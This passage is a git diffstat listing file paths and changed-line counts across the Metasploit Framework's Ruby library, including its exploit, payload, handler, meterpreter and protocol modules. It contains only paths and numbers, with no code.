lib/msf/core/event_dispatcher.rb | 396 +- lib/msf/core/exceptions.rb | 196 +- lib/msf/core/exploit.rb | 2668 +- lib/msf/core/exploit/afp.rb | 638 +- lib/msf/core/exploit/arkeia.rb | 416 +- lib/msf/core/exploit/browser_autopwn.rb | 80 +- lib/msf/core/exploit/brute.rb | 328 +- lib/msf/core/exploit/brutetargets.rb | 32 +- lib/msf/core/exploit/capture.rb | 1098 +- lib/msf/core/exploit/cmdstager.rb | 120 +- lib/msf/core/exploit/cmdstager_bourne.rb | 8 +- lib/msf/core/exploit/cmdstager_debug_asm.rb | 50 +- lib/msf/core/exploit/cmdstager_debug_write.rb | 50 +- lib/msf/core/exploit/cmdstager_tftp.rb | 96 +- lib/msf/core/exploit/cmdstager_vbs.rb | 50 +- lib/msf/core/exploit/cmdstager_vbs_adodb.rb | 50 +- lib/msf/core/exploit/db2.rb | 90 +- lib/msf/core/exploit/dcerpc.rb | 200 +- lib/msf/core/exploit/dcerpc_epm.rb | 428 +- lib/msf/core/exploit/dcerpc_lsa.rb | 44 +- lib/msf/core/exploit/dcerpc_mgmt.rb | 272 +- lib/msf/core/exploit/dect_coa.rb | 360 +- lib/msf/core/exploit/dhcp.rb | 40 +- lib/msf/core/exploit/dialup.rb | 362 +- lib/msf/core/exploit/egghunter.rb | 94 +- lib/msf/core/exploit/exe.rb | 224 +- lib/msf/core/exploit/file_dropper.rb | 240 +- lib/msf/core/exploit/fileformat.rb | 56 +- lib/msf/core/exploit/fmtstr.rb | 532 +- lib/msf/core/exploit/ftp.rb | 648 +- lib/msf/core/exploit/ftpserver.rb | 444 +- lib/msf/core/exploit/http/client.rb | 948 +- lib/msf/core/exploit/http/server.rb | 2362 +- lib/msf/core/exploit/imap.rb | 182 +- lib/msf/core/exploit/ip.rb | 202 +- lib/msf/core/exploit/ipv6.rb | 608 +- lib/msf/core/exploit/java.rb | 330 +- lib/msf/core/exploit/kernel_mode.rb | 92 +- lib/msf/core/exploit/local.rb | 14 +- lib/msf/core/exploit/local/compile_c.rb | 20 +- lib/msf/core/exploit/local/linux.rb | 352 +- lib/msf/core/exploit/local/linux_kernel.rb | 66 +- lib/msf/core/exploit/local/unix.rb | 16 +- lib/msf/core/exploit/lorcon.rb | 222 +- lib/msf/core/exploit/lorcon2.rb | 246 +- lib/msf/core/exploit/mssql.rb | 1878 +- lib/msf/core/exploit/mssql_commands.rb | 134 +- lib/msf/core/exploit/mssql_sqli.rb | 330 +- lib/msf/core/exploit/mysql.rb | 406 +- lib/msf/core/exploit/ndmp.rb | 220 +- lib/msf/core/exploit/ntlm.rb | 92 +- lib/msf/core/exploit/omelet.rb | 60 +- lib/msf/core/exploit/oracle.rb | 290 +- lib/msf/core/exploit/pdf.rb | 646 +- lib/msf/core/exploit/pdf_parse.rb | 448 +- lib/msf/core/exploit/php_exe.rb | 140 +- lib/msf/core/exploit/pop2.rb | 230 +- lib/msf/core/exploit/postgres.rb | 966 +- lib/msf/core/exploit/powershell.rb | 312 +- lib/msf/core/exploit/realport.rb | 436 +- lib/msf/core/exploit/riff.rb | 114 +- lib/msf/core/exploit/ropdb.rb | 32 +- lib/msf/core/exploit/seh.rb | 94 +- lib/msf/core/exploit/smb.rb | 1588 +- lib/msf/core/exploit/smb/authenticated.rb | 20 +- lib/msf/core/exploit/smb/psexec.rb | 258 +- lib/msf/core/exploit/smtp.rb | 122 +- lib/msf/core/exploit/smtp_deliver.rb | 396 +- lib/msf/core/exploit/snmp.rb | 134 +- lib/msf/core/exploit/sunrpc.rb | 282 +- lib/msf/core/exploit/tcp.rb | 922 +- lib/msf/core/exploit/telnet.rb | 462 +- lib/msf/core/exploit/tftp.rb | 42 +- lib/msf/core/exploit/tns.rb | 178 +- lib/msf/core/exploit/udp.rb | 280 +- lib/msf/core/exploit/vim_soap.rb | 1354 +- lib/msf/core/exploit/wbemexec.rb | 54 +- lib/msf/core/exploit/wdbrpc.rb | 462 +- lib/msf/core/exploit/wdbrpc_client.rb | 406 +- lib/msf/core/exploit/web.rb | 262 +- lib/msf/core/exploit/winrm.rb | 720 +- lib/msf/core/exploit_driver.rb | 606 +- lib/msf/core/framework.rb | 870 +- lib/msf/core/handler.rb | 412 +- lib/msf/core/handler/bind_tcp.rb | 410 +- lib/msf/core/handler/find_port.rb | 262 +- lib/msf/core/handler/find_shell.rb | 50 +- lib/msf/core/handler/find_tag.rb | 142 +- lib/msf/core/handler/find_tty.rb | 66 +- lib/msf/core/handler/none.rb | 28 +- lib/msf/core/handler/reverse_http.rb | 794 +- lib/msf/core/handler/reverse_https.rb | 58 +- lib/msf/core/handler/reverse_https_proxy.rb | 70 +- lib/msf/core/handler/reverse_ipv6_http.rb | 28 +- lib/msf/core/handler/reverse_ipv6_https.rb | 28 +- lib/msf/core/handler/reverse_tcp.rb | 450 +- lib/msf/core/handler/reverse_tcp_allports.rb | 50 +- lib/msf/core/handler/reverse_tcp_double.rb | 548 +- .../core/handler/reverse_tcp_double_ssl.rb | 550 +- lib/msf/core/handler/reverse_tcp_ssl.rb | 198 +- lib/msf/core/module.rb | 2394 +- lib/msf/core/module/author.rb | 266 +- lib/msf/core/module/auxiliary_action.rb | 88 +- lib/msf/core/module/deprecated.rb | 106 +- lib/msf/core/module/has_actions.rb | 96 +- lib/msf/core/module/platform.rb | 956 +- lib/msf/core/module/platform_list.rb | 220 +- lib/msf/core/module/reference.rb | 266 +- lib/msf/core/module/target.rb | 552 +- lib/msf/core/module_manager/cache.rb | 160 +- lib/msf/core/modules/error.rb | 50 +- .../metasploit_class_compatibility_error.rb | 8 +- lib/msf/core/modules/namespace.rb | 16 +- .../modules/version_compatibility_error.rb | 20 +- lib/msf/core/nop.rb | 88 +- lib/msf/core/option_container.rb | 1206 +- lib/msf/core/payload.rb | 1186 +- lib/msf/core/payload/aix.rb | 360 +- lib/msf/core/payload/bsd.rb | 306 +- lib/msf/core/payload/dalvik.rb | 48 +- lib/msf/core/payload/generic.rb | 518 +- lib/msf/core/payload/java.rb | 168 +- lib/msf/core/payload/linux.rb | 770 +- lib/msf/core/payload/netware.rb | 34 +- lib/msf/core/payload/osx.rb | 306 +- lib/msf/core/payload/osx/bundleinject.rb | 156 +- lib/msf/core/payload/php.rb | 322 +- lib/msf/core/payload/ruby.rb | 58 +- lib/msf/core/payload/single.rb | 58 +- lib/msf/core/payload/solaris.rb | 260 +- lib/msf/core/payload/stager.rb | 442 +- lib/msf/core/payload/windows.rb | 252 +- lib/msf/core/payload/windows/dllinject.rb | 170 +- lib/msf/core/payload/windows/exec.rb | 108 +- lib/msf/core/payload/windows/loadlibrary.rb | 108 +- .../core/payload/windows/prepend_migrate.rb | 1016 +- .../payload/windows/reflectivedllinject.rb | 200 +- .../windows/x64/reflectivedllinject.rb | 174 +- lib/msf/core/payload_set.rb | 810 +- lib/msf/core/plugin.rb | 332 +- lib/msf/core/plugin_manager.rb | 162 +- lib/msf/core/post.rb | 58 +- lib/msf/core/post/common.rb | 212 +- lib/msf/core/post/file.rb | 982 +- lib/msf/core/post/linux/priv.rb | 38 +- lib/msf/core/post/linux/system.rb | 176 +- lib/msf/core/post/osx/system.rb | 188 +- lib/msf/core/post/solaris/priv.rb | 24 +- lib/msf/core/post/solaris/system.rb | 32 +- lib/msf/core/post/unix.rb | 142 +- lib/msf/core/post/windows/accounts.rb | 344 +- lib/msf/core/post/windows/cli_parse.rb | 290 +- lib/msf/core/post/windows/eventlog.rb | 60 +- lib/msf/core/post/windows/file_info.rb | 86 +- lib/msf/core/post/windows/powershell.rb | 456 +- lib/msf/core/post/windows/priv.rb | 146 +- lib/msf/core/post/windows/process.rb | 58 +- lib/msf/core/post/windows/railgun.rb | 100 +- lib/msf/core/post/windows/registry.rb | 1204 +- lib/msf/core/post/windows/services.rb | 540 +- lib/msf/core/post/windows/shadowcopy.rb | 442 +- lib/msf/core/post/windows/user_profiles.rb | 210 +- lib/msf/core/post_mixin.rb | 404 +- lib/msf/core/rpc/v10/client.rb | 152 +- lib/msf/core/rpc/v10/constants.rb | 34 +- lib/msf/core/rpc/v10/rpc_auth.rb | 256 +- lib/msf/core/rpc/v10/rpc_base.rb | 20 +- lib/msf/core/rpc/v10/rpc_console.rb | 120 +- lib/msf/core/rpc/v10/rpc_core.rb | 116 +- lib/msf/core/rpc/v10/rpc_db.rb | 2124 +- lib/msf/core/rpc/v10/rpc_job.rb | 62 +- lib/msf/core/rpc/v10/rpc_module.rb | 604 +- lib/msf/core/rpc/v10/rpc_plugin.rb | 104 +- lib/msf/core/rpc/v10/rpc_session.rb | 450 +- lib/msf/core/rpc/v10/service.rb | 420 +- lib/msf/core/session.rb | 764 +- lib/msf/core/session/basic.rb | 56 +- lib/msf/core/session/comm.rb | 18 +- lib/msf/core/session/interactive.rb | 260 +- lib/msf/core/session/netware_console.rb | 168 +- .../provider/multi_command_execution.rb | 74 +- .../session/provider/multi_command_shell.rb | 80 +- .../provider/single_command_execution.rb | 40 +- .../session/provider/single_command_shell.rb | 238 +- lib/msf/core/session_manager.rb | 554 +- lib/msf/core/task_manager.rb | 446 +- lib/msf/core/thread_manager.rb | 260 +- lib/msf/events.rb | 12 +- lib/msf/sanity.rb | 136 +- lib/msf/ui/banner.rb | 100 +- lib/msf/ui/common.rb | 36 +- lib/msf/ui/console/command_dispatcher.rb | 144 +- .../console/command_dispatcher/auxiliary.rb | 274 +- lib/msf/ui/console/command_dispatcher/core.rb | 6408 +- lib/msf/ui/console/command_dispatcher/db.rb | 3622 +- .../ui/console/command_dispatcher/encoder.rb | 26 +- .../ui/console/command_dispatcher/exploit.rb | 458 +- lib/msf/ui/console/command_dispatcher/nop.rb | 132 +- .../ui/console/command_dispatcher/payload.rb | 242 +- lib/msf/ui/console/command_dispatcher/post.rb | 278 +- lib/msf/ui/console/driver.rb | 1368 +- lib/msf/ui/console/framework_event_manager.rb | 88 +- .../ui/console/module_command_dispatcher.rb | 232 +- lib/msf/ui/console/table.rb | 74 +- lib/msf/ui/driver.rb | 42 +- lib/msf/ui/web/comm.rb | 204 +- lib/msf/ui/web/console.rb | 258 +- lib/msf/ui/web/driver.rb | 264 +- lib/msf/util/exe.rb | 3386 +- lib/msf/util/svn.rb | 176 +- lib/msf/windows_error.rb | 1348 +- lib/nessus/nessus-cli.rb | 594 +- lib/nessus/nessus-xmlrpc.rb | 1476 +- lib/net/dns/resolver.rb | 16 +- lib/net/ssh/authentication/key_manager.rb | 2 +- .../methods/keyboard_interactive.rb | 2 +- .../ssh/authentication/methods/password.rb | 10 +- .../ssh/authentication/methods/publickey.rb | 26 +- lib/net/ssh/authentication/session.rb | 8 +- lib/net/ssh/command_stream.rb | 188 +- lib/net/ssh/known_hosts.rb | 6 +- lib/net/ssh/proxy/http.rb | 4 +- lib/net/ssh/proxy/socks4.rb | 4 +- lib/net/ssh/proxy/socks5.rb | 4 +- lib/net/ssh/transport/packet_stream.rb | 4 +- lib/net/ssh/transport/server_version.rb | 2 +- lib/net/ssh/transport/session.rb | 4 +- lib/net/ssh/utils.rb | 62 +- lib/net/ssh/version.rb | 2 +- lib/openvas/openvas-omp.rb | 1196 +- lib/postgres/postgres-pr/connection.rb | 12 +- lib/rabal/tree.rb | 472 +- lib/rapid7/nexpose.rb | 4152 +- lib/rbmysql/protocol.rb | 6 +- lib/rbreadline.rb | 28 +- lib/readline_compatible.rb | 2 +- lib/rex.rb | 16 +- lib/rex/arch.rb | 152 +- lib/rex/arch/sparc.rb | 114 +- lib/rex/arch/x86.rb | 1012 +- lib/rex/assembly/nasm.rb | 166 +- lib/rex/compat.rb | 342 +- lib/rex/constants.rb | 42 +- lib/rex/elfparsey/elf.rb | 214 +- lib/rex/elfparsey/elfbase.rb | 488 +- lib/rex/elfscan/scanner.rb | 312 +- lib/rex/elfscan/search.rb | 70 +- lib/rex/encoder/alpha2/alpha_mixed.rb | 104 +- lib/rex/encoder/alpha2/alpha_upper.rb | 124 +- lib/rex/encoder/alpha2/generic.rb | 114 +- lib/rex/encoder/alpha2/unicode_mixed.rb | 196 +- lib/rex/encoder/alpha2/unicode_upper.rb | 210 +- lib/rex/encoder/bloxor/bloxor.rb | 614 +- lib/rex/encoder/ndr.rb | 136 +- lib/rex/encoder/nonalpha.rb | 100 +- lib/rex/encoder/nonupper.rb | 94 +- lib/rex/encoder/xdr.rb | 156 +- lib/rex/encoder/xor.rb | 104 +- lib/rex/encoder/xor/dword.rb | 2 +- lib/rex/encoder/xor/dword_additive.rb | 2 +- lib/rex/encoders/xor_dword.rb | 34 +- lib/rex/encoders/xor_dword_additive.rb | 70 +- lib/rex/encoding/xor/byte.rb | 6 +- lib/rex/encoding/xor/dword.rb | 6 +- lib/rex/encoding/xor/dword_additive.rb | 144 +- lib/rex/encoding/xor/exceptions.rb | 4 +- lib/rex/encoding/xor/generic.rb | 244 +- lib/rex/encoding/xor/qword.rb | 6 +- lib/rex/encoding/xor/word.rb | 6 +- lib/rex/exceptions.rb | 200 +- lib/rex/exploitation/cmdstager/base.rb | 312 +- lib/rex/exploitation/cmdstager/bourne.rb | 180 +- lib/rex/exploitation/cmdstager/debug_asm.rb | 220 +- lib/rex/exploitation/cmdstager/debug_write.rb | 212 +- lib/rex/exploitation/cmdstager/tftp.rb | 46 +- lib/rex/exploitation/cmdstager/vbs.rb | 190 +- lib/rex/exploitation/egghunter.rb | 716 +- lib/rex/exploitation/encryptjs.rb | 120 +- lib/rex/exploitation/heaplib.rb | 152 +- lib/rex/exploitation/javascriptosdetect.rb | 12 +- lib/rex/exploitation/jsobfu.rb | 842 +- lib/rex/exploitation/obfuscatejs.rb | 596 +- lib/rex/exploitation/omelet.rb | 514 +- lib/rex/exploitation/opcodedb.rb | 1398 +- lib/rex/exploitation/ropdb.rb | 290 +- lib/rex/exploitation/seh.rb | 136 +- lib/rex/file.rb | 192 +- lib/rex/image_source/disk.rb | 90 +- lib/rex/image_source/image_source.rb | 64 +- lib/rex/image_source/memory.rb | 34 +- lib/rex/io/bidirectional_pipe.rb | 266 +- lib/rex/io/datagram_abstraction.rb | 24 +- lib/rex/io/ring_buffer.rb | 546 +- lib/rex/io/stream.rb | 568 +- lib/rex/io/stream_abstraction.rb | 366 +- lib/rex/io/stream_server.rb | 386 +- lib/rex/job_container.rb | 332 +- lib/rex/logging/log_dispatcher.rb | 226 +- lib/rex/logging/log_sink.rb | 34 +- lib/rex/logging/sinks/flatfile.rb | 72 +- lib/rex/logging/sinks/stderr.rb | 54 +- lib/rex/mac_oui.rb | 33144 +++---- lib/rex/machparsey/mach.rb | 320 +- lib/rex/machparsey/machbase.rb | 734 +- lib/rex/machscan/scanner.rb | 350 +- lib/rex/mime/header.rb | 116 +- lib/rex/mime/message.rb | 274 +- lib/rex/mime/part.rb | 18 +- lib/rex/nop/opty2.rb | 180 +- lib/rex/nop/opty2_tables.rb | 546 +- lib/rex/ole/clsid.rb | 52 +- lib/rex/ole/difat.rb | 242 +- lib/rex/ole/directory.rb | 410 +- lib/rex/ole/direntry.rb | 434 +- lib/rex/ole/fat.rb | 158 +- lib/rex/ole/header.rb | 356 +- lib/rex/ole/minifat.rb | 98 +- lib/rex/ole/propset.rb | 226 +- lib/rex/ole/samples/create_ole.rb | 16 +- lib/rex/ole/samples/dir.rb | 20 +- lib/rex/ole/samples/dump_stream.rb | 28 +- lib/rex/ole/samples/ole_info.rb | 10 +- lib/rex/ole/storage.rb | 744 +- lib/rex/ole/stream.rb | 66 +- lib/rex/ole/substorage.rb | 40 +- lib/rex/ole/util.rb | 274 +- lib/rex/parser/acunetix_nokogiri.rb | 796 +- lib/rex/parser/apple_backup_manifestdb.rb | 232 +- lib/rex/parser/appscan_nokogiri.rb | 718 +- lib/rex/parser/arguments.rb | 176 +- lib/rex/parser/burp_session_nokogiri.rb | 516 +- lib/rex/parser/ci_nokogiri.rb | 368 +- lib/rex/parser/foundstone_nokogiri.rb | 666 +- lib/rex/parser/fusionvm_nokogiri.rb | 186 +- lib/rex/parser/ini.rb | 334 +- lib/rex/parser/ip360_aspl_xml.rb | 164 +- lib/rex/parser/ip360_xml.rb | 154 +- lib/rex/parser/mbsa_nokogiri.rb | 448 +- lib/rex/parser/nessus_xml.rb | 200 +- lib/rex/parser/netsparker_xml.rb | 176 +- lib/rex/parser/nexpose_raw_nokogiri.rb | 1354 +- lib/rex/parser/nexpose_simple_nokogiri.rb | 644 +- lib/rex/parser/nexpose_xml.rb | 210 +- lib/rex/parser/nmap_nokogiri.rb | 772 +- lib/rex/parser/nmap_xml.rb | 232 +- lib/rex/parser/nokogiri_doc_mixin.rb | 440 +- lib/rex/parser/openvas_nokogiri.rb | 324 +- lib/rex/parser/retina_xml.rb | 176 +- lib/rex/parser/unattend.rb | 232 +- lib/rex/parser/wapiti_nokogiri.rb | 176 +- lib/rex/payloads/win32/common.rb | 28 +- lib/rex/payloads/win32/kernel.rb | 72 +- lib/rex/payloads/win32/kernel/common.rb | 64 +- lib/rex/payloads/win32/kernel/recovery.rb | 54 +- lib/rex/payloads/win32/kernel/stager.rb | 340 +- lib/rex/peparsey/pe.rb | 392 +- lib/rex/peparsey/pe_memdump.rb | 82 +- lib/rex/peparsey/pebase.rb | 3264 +- lib/rex/peparsey/section.rb | 230 +- lib/rex/pescan/analyze.rb | 702 +- lib/rex/pescan/scanner.rb | 364 +- lib/rex/pescan/search.rb | 98 +- lib/rex/platforms/windows.rb | 72 +- lib/rex/poly.rb | 220 +- lib/rex/poly/block.rb | 838 +- lib/rex/poly/machine.rb | 10 +- lib/rex/poly/machine/machine.rb | 1648 +- lib/rex/poly/machine/x86.rb | 960 +- lib/rex/poly/register.rb | 140 +- lib/rex/poly/register/x86.rb | 44 +- lib/rex/post/dir.rb | 54 +- lib/rex/post/file.rb | 280 +- lib/rex/post/file_stat.rb | 396 +- lib/rex/post/io.rb | 314 +- lib/rex/post/meterpreter/channel.rb | 778 +- lib/rex/post/meterpreter/channel_container.rb | 66 +- lib/rex/post/meterpreter/channels/pool.rb | 258 +- .../post/meterpreter/channels/pools/file.rb | 70 +- .../meterpreter/channels/pools/stream_pool.rb | 144 +- lib/rex/post/meterpreter/channels/stream.rb | 124 +- lib/rex/post/meterpreter/client.rb | 884 +- lib/rex/post/meterpreter/client_core.rb | 618 +- lib/rex/post/meterpreter/extension.rb | 24 +- .../meterpreter/extensions/espia/espia.rb | 70 +- .../extensions/incognito/incognito.rb | 140 +- .../extensions/lanattacks/lanattacks.rb | 156 +- .../extensions/mimikatz/mimikatz.rb | 180 +- .../extensions/networkpug/networkpug.rb | 76 +- .../post/meterpreter/extensions/priv/fs.rb | 190 +- .../meterpreter/extensions/priv/passwd.rb | 78 +- .../post/meterpreter/extensions/priv/priv.rb | 168 +- .../meterpreter/extensions/sniffer/sniffer.rb | 188 +- .../extensions/stdapi/constants.rb | 292 +- .../meterpreter/extensions/stdapi/fs/dir.rb | 516 +- .../meterpreter/extensions/stdapi/fs/file.rb | 702 +- .../extensions/stdapi/fs/file_stat.rb | 144 +- .../meterpreter/extensions/stdapi/fs/io.rb | 48 +- .../meterpreter/extensions/stdapi/net/arp.rb | 74 +- .../extensions/stdapi/net/config.rb | 374 +- .../extensions/stdapi/net/interface.rb | 214 +- .../extensions/stdapi/net/netstat.rb | 142 +- .../extensions/stdapi/net/route.rb | 82 +- .../extensions/stdapi/net/socket.rb | 204 +- .../socket_subsystem/tcp_client_channel.rb | 302 +- .../socket_subsystem/tcp_server_channel.rb | 284 +- .../net/socket_subsystem/udp_channel.rb | 370 +- .../stdapi/railgun/api_constants.rb | 76236 ++++++++-------- .../extensions/stdapi/railgun/buffer_item.rb | 14 +- .../stdapi/railgun/def/def_advapi32.rb | 4166 +- .../stdapi/railgun/def/def_crypt32.rb | 30 +- .../stdapi/railgun/def/def_iphlpapi.rb | 160 +- .../stdapi/railgun/def/def_kernel32.rb | 7670 +- .../stdapi/railgun/def/def_netapi32.rb | 84 +- .../stdapi/railgun/def/def_ntdll.rb | 274 +- .../stdapi/railgun/def/def_shell32.rb | 28 +- .../stdapi/railgun/def/def_user32.rb | 6310 +- .../stdapi/railgun/def/def_version.rb | 52 +- .../stdapi/railgun/def/def_wlanapi.rb | 140 +- .../stdapi/railgun/def/def_wldap32.rb | 182 +- .../stdapi/railgun/def/def_ws2_32.rb | 1192 +- .../extensions/stdapi/railgun/dll.rb | 604 +- .../extensions/stdapi/railgun/dll_function.rb | 142 +- .../extensions/stdapi/railgun/dll_helper.rb | 200 +- .../extensions/stdapi/railgun/dll_wrapper.rb | 28 +- .../extensions/stdapi/railgun/mock_magic.rb | 976 +- .../extensions/stdapi/railgun/multicall.rb | 528 +- .../stdapi/railgun/platform_util.rb | 10 +- .../extensions/stdapi/railgun/railgun.rb | 480 +- .../stdapi/railgun/type/pointer_util.rb | 122 +- .../extensions/stdapi/railgun/util.rb | 1250 +- .../stdapi/railgun/win_const_manager.rb | 96 +- .../meterpreter/extensions/stdapi/stdapi.rb | 202 +- .../extensions/stdapi/sys/config.rb | 134 +- .../extensions/stdapi/sys/event_log.rb | 330 +- .../sys/event_log_subsystem/event_record.rb | 40 +- .../extensions/stdapi/sys/power.rb | 68 +- .../extensions/stdapi/sys/process.rb | 726 +- .../stdapi/sys/process_subsystem/image.rb | 204 +- .../stdapi/sys/process_subsystem/io.rb | 56 +- .../stdapi/sys/process_subsystem/memory.rb | 606 +- .../stdapi/sys/process_subsystem/thread.rb | 226 +- .../extensions/stdapi/sys/registry.rb | 532 +- .../sys/registry_subsystem/registry_key.rb | 330 +- .../sys/registry_subsystem/registry_value.rb | 138 +- .../registry_subsystem/remote_registry_key.rb | 320 +- .../extensions/stdapi/sys/thread.rb | 296 +- .../post/meterpreter/extensions/stdapi/ui.rb | 460 +- .../extensions/stdapi/webcam/webcam.rb | 74 +- .../meterpreter/inbound_packet_handler.rb | 24 +- lib/rex/post/meterpreter/object_aliases.rb | 112 +- lib/rex/post/meterpreter/packet.rb | 1182 +- lib/rex/post/meterpreter/packet_dispatcher.rb | 1012 +- lib/rex/post/meterpreter/packet_parser.rb | 144 +- .../meterpreter/packet_response_waiter.rb | 112 +- lib/rex/post/meterpreter/ui/console.rb | 224 +- .../ui/console/command_dispatcher.rb | 106 +- .../ui/console/command_dispatcher/core.rb | 1728 +- .../ui/console/command_dispatcher/espia.rb | 172 +- .../console/command_dispatcher/incognito.rb | 440 +- .../ui/console/command_dispatcher/mimikatz.rb | 306 +- .../console/command_dispatcher/networkpug.rb | 308 +- .../ui/console/command_dispatcher/priv.rb | 80 +- .../command_dispatcher/priv/elevate.rb | 154 +- .../console/command_dispatcher/priv/passwd.rb | 60 +- .../command_dispatcher/priv/timestomp.rb | 210 +- .../ui/console/command_dispatcher/sniffer.rb | 364 +- .../ui/console/command_dispatcher/stdapi.rb | 74 +- .../console/command_dispatcher/stdapi/fs.rb | 976 +- .../console/command_dispatcher/stdapi/net.rb | 778 +- .../console/command_dispatcher/stdapi/sys.rb | 1676 +- .../console/command_dispatcher/stdapi/ui.rb | 592 +- .../command_dispatcher/stdapi/webcam.rb | 306 +- .../ui/console/interactive_channel.rb | 156 +- lib/rex/post/process.rb | 78 +- lib/rex/post/thread.rb | 82 +- lib/rex/post/ui.rb | 70 +- lib/rex/proto/addp.rb | 420 +- lib/rex/proto/dcerpc/client.rb | 688 +- lib/rex/proto/dcerpc/exceptions.rb | 250 +- lib/rex/proto/dcerpc/handle.rb | 64 +- lib/rex/proto/dcerpc/ndr.rb | 106 +- lib/rex/proto/dcerpc/packet.rb | 490 +- lib/rex/proto/dcerpc/response.rb | 340 +- lib/rex/proto/dcerpc/uuid.rb | 130 +- lib/rex/proto/dhcp/server.rb | 606 +- lib/rex/proto/drda/constants.rb | 2 +- lib/rex/proto/drda/packet.rb | 372 +- lib/rex/proto/drda/utils.rb | 208 +- lib/rex/proto/http/client.rb | 1382 +- lib/rex/proto/http/client_request.rb | 890 +- lib/rex/proto/http/handler.rb | 50 +- lib/rex/proto/http/handler/erb.rb | 208 +- lib/rex/proto/http/handler/proc.rb | 74 +- lib/rex/proto/http/header.rb | 298 +- lib/rex/proto/http/packet.rb | 776 +- lib/rex/proto/http/request.rb | 664 +- lib/rex/proto/http/response.rb | 224 +- lib/rex/proto/http/server.rb | 692 +- lib/rex/proto/iax2/call.rb | 620 +- lib/rex/proto/iax2/client.rb | 394 +- lib/rex/proto/iax2/codecs/alaw.rb | 6 +- lib/rex/proto/iax2/codecs/mulaw.rb | 6 +- lib/rex/proto/ipmi.rb | 90 +- lib/rex/proto/ipmi/channel_auth_reply.rb | 154 +- lib/rex/proto/ipmi/open_session_reply.rb | 36 +- lib/rex/proto/ipmi/rakp2.rb | 40 +- lib/rex/proto/ipmi/utils.rb | 202 +- lib/rex/proto/natpmp/constants.rb | 8 +- lib/rex/proto/natpmp/packet.rb | 50 +- lib/rex/proto/ntlm/base.rb | 540 +- lib/rex/proto/ntlm/constants.rb | 118 +- lib/rex/proto/ntlm/crypt.rb | 696 +- lib/rex/proto/ntlm/exceptions.rb | 6 +- lib/rex/proto/ntlm/message.rb | 936 +- lib/rex/proto/ntlm/utils.rb | 1492 +- lib/rex/proto/proxy/socks4a.rb | 838 +- lib/rex/proto/rfb/cipher.rb | 90 +- lib/rex/proto/rfb/client.rb | 358 +- lib/rex/proto/rfb/constants.rb | 36 +- lib/rex/proto/smb/client.rb | 3682 +- lib/rex/proto/smb/constants.rb | 1030 +- lib/rex/proto/smb/crypt.rb | 42 +- lib/rex/proto/smb/evasions.rb | 86 +- lib/rex/proto/smb/exceptions.rb | 1582 +- lib/rex/proto/smb/simpleclient.rb | 274 +- lib/rex/proto/smb/simpleclient/open_file.rb | 162 +- lib/rex/proto/smb/simpleclient/open_pipe.rb | 86 +- lib/rex/proto/smb/utils.rb | 154 +- lib/rex/proto/sunrpc/client.rb | 316 +- lib/rex/proto/tftp/client.rb | 572 +- lib/rex/proto/tftp/constants.rb | 18 +- lib/rex/proto/tftp/server.rb | 932 +- lib/rex/random_identifier_generator.rb | 288 +- lib/rex/registry.rb | 2 +- lib/rex/registry/hive.rb | 176 +- lib/rex/registry/lfkey.rb | 46 +- lib/rex/registry/nodekey.rb | 60 +- lib/rex/registry/regf.rb | 20 +- lib/rex/registry/valuekey.rb | 86 +- lib/rex/registry/valuelist.rb | 26 +- lib/rex/ropbuilder/rop.rb | 508 +- lib/rex/script.rb | 42 +- lib/rex/script/base.rb | 102 +- lib/rex/script/meterpreter.rb | 4 +- lib/rex/service.rb | 48 +- lib/rex/service_manager.rb | 264 +- lib/rex/services/local_relay.rb | 796 +- lib/rex/socket.rb | 1554 +- lib/rex/socket/comm.rb | 190 +- lib/rex/socket/comm/local.rb | 1014 +- lib/rex/socket/ip.rb | 236 +- lib/rex/socket/parameters.rb | 652 +- lib/rex/socket/range_walker.rb | 734 +- lib/rex/socket/ssl_tcp.rb | 648 +- lib/rex/socket/ssl_tcp_server.rb | 320 +- lib/rex/socket/subnet_walker.rb | 94 +- lib/rex/socket/switch_board.rb | 518 +- lib/rex/socket/tcp.rb | 116 +- lib/rex/socket/tcp_server.rb | 84 +- lib/rex/socket/udp.rb | 304 +- lib/rex/sslscan/result.rb | 380 +- lib/rex/sslscan/scanner.rb | 390 +- lib/rex/struct2/c_struct.rb | 324 +- lib/rex/struct2/c_struct_template.rb | 52 +- lib/rex/struct2/constant.rb | 10 +- lib/rex/struct2/element.rb | 60 +- lib/rex/struct2/generic.rb | 118 +- lib/rex/struct2/restraint.rb | 80 +- lib/rex/struct2/s_string.rb | 118 +- lib/rex/struct2/s_struct.rb | 194 +- lib/rex/sync/event.rb | 144 +- lib/rex/sync/read_write_lock.rb | 298 +- lib/rex/sync/ref.rb | 84 +- lib/rex/sync/thread_safe.rb | 116 +- lib/rex/text.rb | 3268 +- lib/rex/thread_factory.rb | 50 +- lib/rex/time.rb | 88 +- lib/rex/transformer.rb | 182 +- lib/rex/ui/interactive.rb | 530 +- lib/rex/ui/output.rb | 132 +- lib/rex/ui/progress_tracker.rb | 158 +- lib/rex/ui/subscriber.rb | 288 +- lib/rex/ui/text/color.rb | 150 +- lib/rex/ui/text/dispatcher_shell.rb | 1024 +- lib/rex/ui/text/input.rb | 192 +- lib/rex/ui/text/input/buffer.rb | 116 +- lib/rex/ui/text/input/readline.rb | 228 +- lib/rex/ui/text/input/socket.rb | 154 +- lib/rex/ui/text/input/stdio.rb | 48 +- lib/rex/ui/text/irb_shell.rb | 90 +- lib/rex/ui/text/output.rb | 128 +- lib/rex/ui/text/output/buffer.rb | 84 +- lib/rex/ui/text/output/buffer/stdout.rb | 38 +- lib/rex/ui/text/output/file.rb | 48 +- lib/rex/ui/text/output/socket.rb | 48 +- lib/rex/ui/text/output/stdio.rb | 58 +- lib/rex/ui/text/output/tee.rb | 72 +- lib/rex/ui/text/progress_tracker.rb | 74 +- lib/rex/ui/text/shell.rb | 742 +- lib/rex/ui/text/table.rb | 578 +- lib/rex/zip/archive.rb | 196 +- lib/rex/zip/blocks.rb | 194 +- lib/rex/zip/entry.rb | 190 +- lib/rex/zip/jar.rb | 412 +- lib/rex/zip/samples/comment.rb | 2 +- lib/rex/zip/samples/mkwar.rb | 24 +- lib/rex/zip/samples/mkzip.rb | 2 +- lib/rex/zip/samples/recursive.rb | 58 +- lib/telephony/modem.rb | 348 +- lib/windows_console_color_support.rb | 104 +- lib/zip/ioextras.rb | 28 +- lib/zip/samples/gtkRubyzip.rb | 4 +- lib/zip/samples/zipfind.rb | 40 +- lib/zip/tempfile_bugfixed.rb | 40 +- lib/zip/test/gentestfiles.rb | 74 +- lib/zip/test/zipfilesystemtest.rb | 48 +- lib/zip/test/ziptest.rb | 190 +- lib/zip/zip.rb | 222 +- lib/zip/zipfilesystem.rb | 74 +- lib/zip/ziprequire.rb | 